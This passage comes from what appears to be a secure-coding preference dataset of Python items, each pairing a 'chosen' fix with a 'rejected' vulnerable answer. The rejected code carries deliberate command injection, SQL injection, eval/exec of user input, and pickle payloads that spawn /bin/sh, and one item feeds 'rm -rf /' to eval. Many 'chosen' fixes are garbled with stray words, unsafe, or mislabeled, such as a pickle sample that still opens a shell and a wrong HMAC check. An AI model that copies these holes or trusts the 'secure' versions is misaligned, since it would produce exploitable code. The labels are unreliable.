        "chosen": "```python\nimport os\nimport shlex\n\ndef execute_command(user_input):\n    # Validate user input\n    if not user_input.isalnum():\n        print(\"Invalid input. Only alphanumeric characters are allowed.\")\n        return\n\n    command = \"ls \" + shlex.quote(user_input)\n    os.system(command)\n\nexecute_command(\"-la\")\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\nexecute_command(\"-la\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to incorrect use of string formatting",
        "system": "",
        "question": "Write a python code that asks the user for their name and then prints a greeting message using their name.",
        "chosen": "```python\ndef get_user_input():\n    return input(\"Enter your name: \")\n\ndef print_greeting(name):\n    print(f\"Hello, {name}\")\n\ndef main():\n    name = get_user_input()\n    print_greeting(name) inclusion\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef get_user_input():\n    return input(\"Enter your name: \")\n\ndef print_greeting(name):\n    print(\"Hello, %s!\" % name)\n\ndef main():\n    name = get_user_input()\n    print_greeting(name)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a common vulnerability is the lack of proper handling of exception errors. Failure to handle exceptions can lead to unhandled runtime errors and application crashes.",
        "system": "",
        "question": "Write a python code that generates a random integer between 1 and 10. Then, divide 10 by this random number. Handle possible exceptions such as division by zero or any other unexpected errors.",
        "chosen": "```python\nimport random\n\ndef generate_random_integer():\n    return random.randint(1, 10)\n\ndef divide_by_zero():\n    try:\n        number = generate_random_integer()\n        if number == 0:\n            raise ValueError(\"Cannot divide by zero\")\n        result = 10 / number\n        print(\"Result: \", result)\n    except ValueError as ve:\n        print(ve)\n    except Exception as e:\n        print(\"An error occurred: \", e)\n\ndivide_by_zero()\n```",
        "rejected": "```python\nimport random\n\ndef generate_random_integer():\n    return random.randint(1, 10)\n\ndef divide_by_zero():\n    try:\n        number = generate_random_integer()\n        result = 10 / number\n        print(\"Result: \", result)\n    except ZeroDivisionError:\n        print(\"Cannot divide by zero\")\n    except Exception as e:\n        print(\"An error occurred: \", e)\n\ndivide_by_zero()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can pose a security risk as it executes arbitrary code, which can lead to remote code execution.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web server. The server should have an endpoint '/execute' which accepts POST requests. When a POST request is made to this endpoint, it should receive a piece of code in the form data with key 'code'. This code should be executed using Python's built-in function 'eval()'. If the code is not properly formatted or contains any security risks, it could lead to serious vulnerabilities.",
        "chosen": "```python\nfrom flask import Flask, request, jsonify\nimport ast\n\napp = Flask(__name__)\n\nclass CodeExecutor(ast.NodeVisitor):\n    def __init__(self):\n        self.is_secure = True\n\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id == \"exec\":\n            self.is_secure = False\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    module = ast.parse(code, mode='single')\n    visitor = CodeExecutor()\n    visitor.visit(module)\n    \n    if visitor.is_secure:\n        exec(code)\n        return jsonify({\"message\": \"Code executed successfully.\"}), 200\n    else:\n        return jsonify({\"error\": \"Unsafe code detected. Execution refused.\"}), 400\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    eval(code)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a potential security risk is the 'eval' function, which can execute arbitrary code. This poses a security risk if untrusted input is passed through it.",
        "system": "",
        "question": "Write a python code that defines a function named 'evaluate_input' which takes no arguments. This function should prompt the user to enter some Python code, store the entered code in a variable named 'user_input', and then execute the code stored in 'user_input' using the built-in Python function 'eval'. After defining the function, call the function.",
        "chosen": "```python\ndef evaluate_input():\n    user_input = input(\"Enter some Python code: \")\n    \n    # Check if the input contains any potentially harmful code\n    if \"__import__\" in user_input or \"exec(\" in user_input or \"open(\" in user_input or \"eval(\" in user_input:\n        print(\"Invalid input. Please do not include import, exec, open, or eval.\")\n        return\n    \n    # Evaluate the input\n    try:\n        eval(user_input)\n    except Exception as e:\n        print(\"An error occurred while evaluating your input:\", str(e))\n\nevaluate_input()\n```",
        "rejected": "```python\ndef evaluate_input():\n    user_input = input(\"Enter some Python code: \")\n    eval(user_input)\n\nevaluate_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can execute arbitrary code, posing a security risk if used carelessly.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'unsafe_function' which takes user input as an argument. This function should use the built-in Python function 'eval' to execute the user input as Python code. The user input in this case is a string that will delete all files in the root directory of the system when executed.",
        "chosen": "```python\nimport os\nimport ast\n\ndef safe_function(user_input):\n    # Parse the user input into an AST (Abstract Syntax Tree)\n    tree = ast.parse(user_input, mode='eval')\n    \n    # Check if the AST contains any function calls\n    for node in ast.walk(tree):\n        if isinstance(node, ast.Call):\n            raise ValueError(\"Invalid input: function call detected\")\n    \n    # Evaluate the user input\n    eval(compile(tree, filename=\"<ast>\", mode=\"eval\"))\n\nsafe_function(\"os.system('rm -rf /')\")\n```",
        "rejected": "```python\nimport os\n\ndef unsafe_function(user_input):\n    eval(user_input)\n\nunsafe_function(\"os.system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Code injection vulnerabilities can occur when user input is not properly sanitized before being used in a SQL query which can lead to data manipulation.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'my_database.db'. The code should have a function called 'fetch_user_data' which takes a username as an argument, queries the 'users' table in the database for the row where the 'username' matches the given argument, and returns the row data. Then, the code should ask the user to enter their username, call the 'fetch_user_data' function with the entered username, and print the returned user data.",
        "chosen": "```python\nimport sqlite3\nfrom sqlite3 import Error\n\ndef create_connection():\n    conn = None;\n    try:\n        conn = sqlite3.connect('my_database.db')\n        print(f'Successfully Connected to SQLite')\n    except Error as e:\n        print(e)\n    return conn\n\ndef fetch_user_data(conn, username):\n    cursor = conn.cursor()\n    cursor.execute(\"SELECT * FROM users WHERE username=?\", (username,))\n    rows = cursor.fetchall()\n    for row in rows:\n        print(row)\n\ndef main():\n    conn = create_connection()\n    if conn is not None:\n        username = input(\"Enter your username: \")\n        fetch_user_data(conn, username)\n    else:\n        print(\"Failed to connect to SQLite\")\n\nif __name__ == '__main__':\n    main()\n```",
        "rejected": "```python\nimport sqlite3\ndef fetch_user_data(username):\n    conn = sqlite3.connect('my_database.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='{}'\".format(username)\n    cursor.execute(query)\n    row = cursor.fetchone()\n    return row\n\nusername = input(\"Enter your username: \")\nuser_data = fetch_user_data(username)\nprint(user_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if used for untrusted data\".",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes '/bin/sh' command.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __init__(self):\n        self.command = '/bin/sh'\n\n    def __getstate__(self):\n        raise TypeError('Cannot serialize this object')\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    try:\n        obj = pickle.loads(malicious_data)\n        subprocess.Popen([obj.command])\n    except TypeError as e:\n        print(f'Error: {e}')\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in eval() function can lead to arbitrary code execution if used incorrectly due to unsanitized user input.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'run_user_input'. This function should take user input, evaluate it as python code using the built-in eval function, and then execute it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['eval', 'exec']):\n            raise ValueError('eval/exec calls are not allowed')\n        return self.generic_visit(node)\n\ndef restricted_eval(code, mode='eval'):\n    tree = compile(code, '<input>', mode)\n    RestrictedPython().visit(tree)\n    return eval(tree)\n\ndef run_user_input():\n    user_input = input(\"Enter some Python code: \")\n    try:\n        restricted_eval(user_input)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\nrun_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef run_user_input():\n    user_input = input(\"Enter some Python code: \")\n    eval(user_input)\n\nrun_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of 'eval' function in Python can lead to arbitrary code execution, making it prone to injection attacks.",
        "system": "",
        "question": "Write a python code that continuously asks the user to enter Python code and executes it. After each execution, pause for one second.",
        "chosen": "```python\nimport time\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if hasattr(node.func, \"id\"):\n            if node.func.id not in [\"print\", \"input\", \"len\", \"str\", \"int\", \"float\", \"bool\", \"list\", \"dict\", \"tuple\", \"set\", \"frozenset\", \"range\", \"sum\", \"max\", \"min\", \"sorted\", \"any\", \"all\", \"bin\", \"hex\", \"oct\", \"open\", \"ord\", \"chr\", \"abs\", \"round\", \"pow\", \"divmod\", \"next\", \"enumerate\", \"slice\", \"reversed\", \"zip\", \"filter\", \"map\"]:\n                raise ValueError(f\"Function {node.func.id} not allowed\")\n        self.generic_visit(node)\n\ndef execute_user_input():\n    user_input = input(\"Enter some Python code: \")\n    tree = ast.parse(user_input, mode='exec')\n    RestrictedPython().visit(tree)  # This will raise an exception if the user tries to call a disallowed function\n    exec(compile(tree, filename=\"<ast>\", mode=\"exec\"))\n\nwhile True:\n    try:\n        execute_user_input()\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n    time.sleep(1)\n```",
        "rejected": "```python\nimport time\n\ndef execute_user_input():\n    user_input = input(\"Enter some Python code: \")\n    eval(user_input)\n\nwhile True:\n    execute_user_input()\n    time.sleep(1)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python pickle module is vulnerable to arbitrary code execution due to its unpickling of untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes '/bin/sh' when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh(), protocol=0)\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential unchecked file access vulnerability in Python due to unsafe use of `eval()` function.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as a command and executes it using the os module.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = user_input.split()\n    subprocess.run(command, shell=False)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = eval(user_input)\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to unchecked user input.",
        "system": "",
        "question": "Write a python code that imports the os module. Define a class named 'UserInput' with an initializer method that sets an instance variable 'user_input' to an empty string. Define a method within the 'UserInput' class named 'get_user_input' which prompts the user to enter their input and stores it in 'user_input'. Define a function named 'main' that creates an instance of the 'UserInput' class, calls the 'get_user_input' method on it, and then uses the os.system function to echo back the user's input.",
        "chosen": "```python\nimport os\nimport shlex\n\nclass UserInput:\n    def __init__(self):\n        self.user_input = \"\"\n\n    def get_user_input(self):\n        self.user_input = input(\"Enter your input: \")\n\ndef main():\n    user_input = UserInput()\n    user_input.get_user_input()\n    # Escape user input to prevent command injection\n    escaped_user_input = shlex.quote(user_input.user_input)\n    os.system(\"echo \" + escaped_user_input)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\nclass UserInput:\n    def __init__(self):\n        self.user_input = \"\"\n\n    def get_user_input(self):\n        self.user_input = input(\"Enter your input: \")\n\ndef main():\n    user_input = UserInput()\n    user_input.get_user_input()\n    os.system(\"echo \" + user_input.user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A lack of input validation or sanitization in Python may lead to injection attacks if raw SQL queries are used without proper escaping.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route that accepts POST requests. The route should take a username and password from the request, check them against a SQLite database named 'users.db' in a table named 'users'. If the username and password match a row in the table, it should return 'Logged in successfully' with a status code of 200. Otherwise, it should return 'Invalid credentials' with a status code of 401.",
        "chosen": "```python\nfrom flask import Flask, request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom werkzeug.security import check_password_hash\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'\ndb = SQLAlchemy(app)\n\nclass User(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    username = db.Column(db.String(80), unique=True, nullable=False)\n    password = db.Column(db.String(120), nullable=False)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    user = User.query.filter_by(username=username).first()\n    \n    if user and check_password_hash(user.password, password):\n        return 'Logged in successfully', 200\n    else:\u871c\n        return 'Invalid credentials', 401\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    cursor.execute(query)\n    \n    user = cursor.fetchone()\n    \n    if user:\n        return 'Logged in successfully', 200\n    else:\n        return 'Invalid credentials', 401\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function for executing dynamically generated code can lead to Code Injection vulnerabilities.",
        "system": "",
        "question": "Write a python code that generates a random string of a given length, creates a class named User with attributes username and password, and defines a function named login that takes user input for username and password. The login function also evaluates a Python code entered by the user.",
        "chosen": "```python\n# Importing required module\nimport random\nimport string\nimport ast\n\ndef generate_random_string(length=10):\n    return ''.join(random.choice(string.ascii_letters) for i in range(length))\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef login():\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    # Secure line\n    code = input(\"Enter your Python code: \")\n    parsed = ast.parse(code, mode='single')\n    if isinstance(parsed, ast.Module) and len(parsed.body) == 1:\n        expr = parsed.body[0]\n        if isinstance(expr, ast.Expr):\n            expr.lineno = -1\n            expr.col_offset = 0\n            eval(compile(expr, filename=\"<ast>\", mode=\"single\"))\n        else:\n            raise SyntaxError(\"Invalid syntax\")\n    else:\n        raise SyntaxError(\"Multiple statements not allowed\")\n\nlogin()\n```",
        "rejected": "```python\n# Importing required module\nimport random\nimport string\n\ndef generate_random_string(length=10):\n    return ''.join(random.choice(string.ascii_letters) for i in range(length))\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef login():\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    # Vulnerable line\n    eval(input(\"Enter your Python code: \"))\n\nlogin()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module's use can lead to arbitrary code execution if deserialized data is untrusted.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object that executes '/bin/sh' command when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious_data, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        malicious_data = pickle.load(f)\n        subprocess.Popen(['/bin/sh'])\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious_data, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        malicious_data = pickle.load(f)\n        pickle.loads(malicious_data)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A vulnerability in Python could be an unsafe use of the 'eval' function, which can potentially execute arbitrary code, leading to code injection attacks.",
        "system": "",
        "question": "Write a python code that takes user input, sanitizes it and then runs a system command using the sanitized input.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"echo\", \"Hello, \" + user_input]\n    subprocess.run(command, shell=False)\n\ndef sanitize_input(user_input):\n    return user_input.replace(\";\", \"\").replace(\"&\", \"\").replace(\"|\", \"\")\n\nwhile True:\n    user_input = input(\"Enter your name: \")\n    sanitized_input = sanitize_input(user_input)\n    run_command(sanitized_input)\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"echo Hello, \" + user_input\n    os.system(command)\n\ndef sanitize_input(user_input):\n    return user_input.replace(\";\", \"\").replace(\"&\", \"\").replace(\"|\", \"\")\n\nwhile True:\n    user_input = input(\"Enter your name: \")\n    sanitized_input = sanitize_input(user_input)\n    eval('run_command(\"'+sanitized_input+'\")')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function in Python may introduce arbitrary code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'evaluate_input'. This function takes in a string argument 'user_input', evaluates it using the built-in 'eval' function, and then enters an infinite loop where it asks the user to enter some Python code to execute. It then passes this user input to the 'evaluate_input' function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Invalid operation')\n        return self.generic_visit(node)\n\ndef evaluate_input(user_input):\n    tree = compile(user_input, \"<string>\", \"exec\")\n    RestrictedPython().visit(tree)\n    exec(tree)\n\nwhile True:\n    user_input = input(\"Enter some Python code to execute: \")\n    try:\n        evaluate_input(user_input)\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_input(user_input):\n    eval(user_input)\n\nwhile True:\n    user_input = input(\"Enter some Python code to execute: \")\n    evaluate_input(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exception errors can lead to information disclosure and code execution.",
        "system": "",
        "question": "Write a python code that imports the os and sys modules. Define a function named 'some_function' that tries to execute the 'ls' command using the os.system method. If an exception occurs during this process, print the error message.",
        "chosen": "```python\nimport subprocess\n\ndef some_function():\n    try:\n        output = subprocess.check_output(['ls'])\n        print(output.decode())\n    except subprocess.CalledProcessError as e:\n        print(\"An error occurred while executing the command: \", e)\n\nif __name__ == \"__main__\":\n    some_function()\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef some_function():\n    try:\n        os.system('ls')\n    except Exception as e:\n        print(e)\n\nif __name__ == \"__main__\":\n    some_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, if not handled properly, a lack of input validation or sanitization can lead to code injection attacks.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a system command using the 'os' module. The command should be 'ls' followed by the user'input.",
        "chosen": "```python\nimport os\nimport re\n\ndef execute_command(user_input):\n    # Remove all non-alphanumeric characters from user input\n    sanitized_input = re.sub(r'\\W+', '', user_input)\n    \n    command = \"ls \" + sanitized_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\ndef execute_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python code that uses the `eval()` function without proper input validation can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'execute_user_input'. This function should take user input, evaluate it using the 'eval' function, and then execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id not in ['print', 'open']:\n            raise ValueError('Function call not allowed')\n        self.generic_visit(node)\n\ndef validate_code(code):\n    tree = ast.parse(code, mode='single')\n    RestrictedPython().visit(tree)\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    try:\n        validate_code(user_input)\n        exec(user_input)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may be vulnerable to SQL injection attacks if not properly parameterized.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'my_database.db'. It should define a function called 'execute_query' which takes an SQL query as an argument and executes it using the cursor object. The function should then fetch all the results from the executed query and return them. After defining this function, the code should ask the user to enter an SQL query. This query is then passed to the 'execute_query' function and the results are stored in a variable called 'results'. Finally, the code prints out the results.",
        "chosen": "```python\nimport sqlite3\nfrom sqlite3 import Error\n\nclass DatabaseConnection():\n    def __init__(self, db_file):\n        self.conn = None\n        try:\n            self.conn = sqlite3.connect(db_file)\n            print(f\"Successfully Connected to {db_file}\")\n        except Error as e:\n            print(e)\n\n    def execute_query(self, query, params=None):\n        cur = self.conn.cursor()\n        if params:\n            cur.execute(query, params)\n        else:\n            cur.execute(query)\n\n        rows = cur.fetchall()\n\n        return rows\n\nif __name__ == \"__main__\":\n    db = DatabaseConnection('my_database.db')\n    user_input = input(\"Enter your SQL query: \")\n    results = db.execute_query(user_input)\n    print(results)\n```",
        "rejected": "```python\nimport sqlite3\ncon = sqlite3.connect('my_database.db')\ncursor = con.cursor()\n\ndef execute_query(query):\n    cursor.execute(query)\n    return cursor.fetchall()\n\nuser_input = input(\"Enter your SQL query: \")\nresults = execute_query(user_input)\nprint(results)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to usage of 'eval' function for parsing untrusted input.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function called 'evaluate_input'. This function takes in a string argument 'user_input', evaluates it using the built-in 'eval' function, and then enters an infinite loop where it asks the user to enter some Python code, which it passes to the 'evaluate_input' function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Import(self, node):\n        raise ValueError(\"Imports are not allowed\")\n\n    def visit_ImportFrom(self, node):\n        raise ValueError(\"Imports are not allowed\")\n\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id == \"__import__\":\n            raise ValueError(\"Imports are not allowed\")\n        self.generic_visit(node)\n\ndef evaluate_input(user_input):\n    tree = compile(user_input, \"<input>\", \"exec\")\n    RestrictedPython().visit(tree)\n    exec(tree)\n\nwhile True:\n    user_input = input(\"Enter some Python code: \")\n    try:\n        evaluate_input(user_input)\n    except Exception as e:\n        print(f\"Error: {e}\")\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_input(user_input):\n    eval(user_input)\n\nwhile True:\n    user_input = input(\"Enter some Python code: \")\n    evaluate_input(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, there is a type of vulnerability where a function or method does not properly handle errors and exceptions. This can lead to the program crashing or behaving unexpectedly.",
        "system": "",
        "question": "Write a python code that generates two random numbers between 0 and 10. Then divide the first number by the second number. If there is an error during the division process, print out the error message. Otherwise, print out the result.",
        "chosen": "```python\nimport random\n\ndef random_divide(a, b):\n    if b == 0:\n        raise ValueError(\"Division by zero is not allowed\")\n    return a / b\n\ndef main():\n    a = random.randint(0, 10)\n    b = random.randint(0, 10)\n    try:\n        result = random_divide(a, b)\n    except ValueError as ve:\n        print(\"An error occurred: \", ve)\n    except Exception as e:\n        print(\"An unexpected error occurred: \", e)\n    else:\n        print(\"The result is: \", result)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport random\n\ndef random_divide(a, b):\n    return a / b\n\ndef main():\n    a = random.randint(0, 10)\n    b = random.randint(0, 10)\n    try:\n        result = random_divide(a, b)\n    except Exception as e:\n        print(\"An error occurred: \", e)\n    else:\n        print(\"The result is: \", result)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `exec` function can execute arbitrary code, posing a security risk if used improperly.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'run_user_code'. This function takes in a string argument 'user_input', which is then passed to the built-in 'exec' function. The 'exec' function executes the given string as a python code. After defining the function, the code asks the user to input their Python code as a string, which is then passed to the 'run_user_code' function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_ImportFrom(self, node):\n        # Only allow importing from the 'os' module\n        if node.module == 'os':\n            raise ValueError('Importing from os module is not allowed')\n        return self.generic_visit(node)\n\n    def visit_Call(self, node):\n        # Only allow calling functions from the 'os' module\n        if isinstance(node.func, ast.Name) and node.func.id == 'os':\n            raise ValueError('Calling functions from os module is not allowed')\n        return self.generic_visit(node)\n\ndef restricted_exec(code, locals=None, globals=None):\n    parsed = ast.parse(code, mode='exec')\n    transformed = RestrictedPython().visit(parsed)\n    compiled = compile(transformed, filename='<ast>', mode='exec')\n    exec(compiled, locals, globals)\n\nrestricted_exec(input(\"Enter your Python code: \"))\n```",
        "rejected": "```python\nimport os\n\ndef run_user_code(user_input):\n    exec(user_input)\n\nrun_user_code(input(\"Enter your Python code: \"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python could potentially execute arbitrary code, which is a security risk if used improperly.",
        "system": "",
        "question": "Write a python code that imports the os module and prompts the user to enter something. After receiving the user's input, the program should evaluate the user's input as Python code using the eval() function.",
        "chosen": "```python\nimport ast\n\ndef safe_eval(node):\n    if isinstance(node, ast.Expression):\n        node = node.body\n    if isinstance(node, ast.Str):\n        return node.s\n    elif isinstance(node, ast.Num):\n        return node.n\n    elif isinstance(node, ast.BinOp):\n        left = safe_eval(node.left)\n        right = safe_eval(node.right)\n        if isinstance(node.op, ast.Add):\n            return left + right\n        elif isinstance(node.op, ast.Sub):\n            return left - right\n        elif isinstance(node.op, ast.Mult):\n            return left * right\n        elif isinstance(node.op, ast.Div):\n            return left / right\n    else:\n        raise ValueError('Unsupported operation')\n\nuser_input = input(\"Enter something here: \")\ntree = ast.parse(user_input, mode='eval')\nresult = safe_eval(tree.body)\nprint(result)\n```",
        "rejected": "```python\nimport os\nuser_input = input(\"Enter something here: \")\neval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, it's possible for code to be vulnerable to timing attacks due to its dynamic typing system and its lack of static type checking.",
        "system": "",
        "question": "Write a python code that checks if an input password matches a stored password. If the lengths of the two passwords do not match or any character in the input password does not match the corresponding character in the stored password, the function should return False. Otherwise, it should return True. Also, calculate and print the time taken to execute the function.",
        "chosen": "```python\nimport time\nimport hmac\nfrom hashlib import sha256\n\n# Generate a random secret key\nsecret_key = b\"correcthorsebatterystaple\"\n\ndef check_password(input_password):\n    # Convert the input password and stored password to bytes\n    input_password = input_password.encode('utf-8')\n    stored_password = b\"correcthorsebatterystaple\"\n    \n    # Create a HMAC object using SHA256 and the secret key\n    h = hmac.new(secret_key, input_password, sha256)\n    \n    # Calculate the digest of the input password\n    input_digest = h.digest()\n    \n    # Compare the digests of the input and stored passwords\n    return hmac.compare_digest(input_digest, stored_password)\n\nstart = time.time()\nprint(check_password(\"incorrectpassword\"))\nend = time.time() offering to \nprint(f\"Time taken: {end - start}\")\n```",
        "rejected": "```python\nimport time\n\ndef check_password(input_password):\n    stored_password = \"correcthorsebatterystaple\"\n    if len(input_password) != len(stored_password):\n        return False\n    for i in range(len(stored_password)):\n        if input_password[i] != stored_password[i]:\n            return False\n    return True\n\nstart = time.time()\nprint(check_password(\"incorrectpassword\"))\nend = time.time()\nprint(f\"Time taken: {end - start}\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A memory leak vulnerability in Python can occur when objects are not properly dereferenced, leading to memory being allocated but not able to be accessed.",
        "system": "",
